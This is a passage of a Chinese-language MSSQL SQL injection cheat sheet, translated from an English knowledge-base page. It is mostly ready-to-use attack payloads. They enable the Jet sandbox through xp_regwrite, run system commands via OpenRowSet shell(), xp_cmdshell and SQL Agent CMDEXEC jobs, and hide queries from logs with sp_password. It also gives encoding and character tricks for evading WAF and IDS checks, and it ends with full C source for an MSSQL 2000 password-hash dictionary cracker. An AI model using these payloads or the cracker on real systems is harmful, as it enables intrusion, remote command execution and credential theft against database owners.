exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
3.JET 沙盒模式执行系统命令(Sandbox Mode)
在默认情况下Jet数据引擎不支持select shell("net user ")这样的SQL语句,必须开启JET引擎的沙盒模式才能执行命令,先利用xp_regwrite
存储过程改写注册表,然后利用OpenRowSet访问一个ACCESS数据库文件,再执行运行命令的SQL语句。
激活沙盒模式:
Windows 2003
Windows 2008 R2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
Windows 2003 + SQL Server2000 沙盒模式执行命令的语句:
(Windows 2003 系统c:\windows\system32\ias\目录下默认自带了2个Access数据库文件ias.mdb/dnary.mdb,所以直接调用即可.)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
Windows 2008 R2+SQL Server2005 沙盒模式执行命令的语句:
( Windows 2008 R2 默认无Access数据库文件,需要自己上传,或者用UNC路径加载文件方能执行命令.)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
( SQL Server2008 默认未注册microsoft.jet.oledb.4.0接口,所以无法利用沙盒模式执行系统命令.)
4.OPENROWSET调用xp_cmdshell 执行系统命令:
(在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令.)
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"');
小技巧:
使用 for xml 实现执行内容回显:
for xml raw/auto | 适用于SQL Server 2000及以上版本 **(**附**:此法只能取首行数据,问题待解决.)** |
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml raw
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml auto
for xml path | 适用于SQL Server 2005及以上版本,虽然是一次性获取所有内容,但是取出内容数量取决于表定 义的长度. |
SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"') for xml path
SELECT * FROM OPENROWSET('SQLOLEDB', '192.168.1.117';'sa';'123456', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"')for xml path
附:
回显内容超过表定义长度将会出现内容为 "将截断字符串或二进制数据。"的错误
5.SQL代理执行系统命令(SQLSERVERAGENT):
use msdb exec sp_delete_job null,'x';
exec sp_add_job 'x';
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net start >C:\test.txt';
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x';
(SQLSERVERAGENT服务默认是禁用的,先利用xp_servicecontrol激活SQLSERVERAGENT,然后建立一个SQL计划任务马上运行这个SQL任务实现命令执行。)
激活SQLSERVERAGENT的语句:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
其他获取系统信息的函数
1.历遍目录
exec master.dbo.xp_dirtree 'c:\'
2.获取子目录
exec master.dbo.xp_subdirs 'c:\'
3.列举可用的系统分区
exec master.dbo.xp_availablemedia
4.判断目录或文件是否存在
exec master..xp_fileexist 'c:\boot.ini'
SP_PASSWORD (隐藏查询)
在查询结束后追加sp_password,T-SQL日志作为一项安全措施隐藏它。
SP_PASSWORD
Example:
' AND 1=1--sp_password
输出:
-- 'sp_password的'在该事件文本中被发现。('sp_password' was found in the text of this event.)
-- 出于安全原因,该文本已被替换成注释。( The text has been replaced with this comment for security reasons.)
- 这个方法不理解,望小伙伴们解答.
层叠查询
( MSSQL支持 层叠查询)
示例:<在select中插入insert update等>
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
模糊测试和混淆
允许中间字符
以下字符可以作为空格符。
示例:
S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
附:
关键词之间的百分比符号只在ASP(X)的Web应用程序中有效。
下面的字符也可用来避免空格。
22 "
28 (
29 )
5B [
5D ]
示例:
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];
AND/OR可以使用中间符号:
01 - 20 范围
21 !
2B +
2D -
2E .
5C \
7E ~
示例:
SELECT 1FROM[table "0" not found /]
WHERE\1=\1AND\1=\1;
附:
反斜杠似乎不适用于MSSQL 2000中.
编码
编码注射语句,有利于躲避WAF / IDS检查。
URL编码(URL Encoding) | SELECT %74able_%6eame FROM information_schema.tables; |
双重URL编码(Double URL Encoding) | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode编码(Unicode Encoding) | SELECT %u0074able_%u6eame FROM information_schema.tables; |
无效的十六进制编码(Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
十六进制编码(Hex Encoding) | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML实体(HTML Entities 待验证) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
密码散列
从0x0100密码开始,0x 后的第一个字节是一个常数,接下来的八个字节是哈希盐,剩下的80个字节是两个散列,第一40个字节是区分大小写的密码哈希值,而第二个40字节为大写形式密码哈希值。
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
密码破解
可以利用Metasploit的JTR模块进行破解
MSSQL 2000密码破解
(此工具用于破解微软的SQL Server 2000的密码。)
///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield ([email protected])\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }
PS:英文原文内容来源于:http://websec.ca/kb/sql_injection#MSSQL_Testing_Version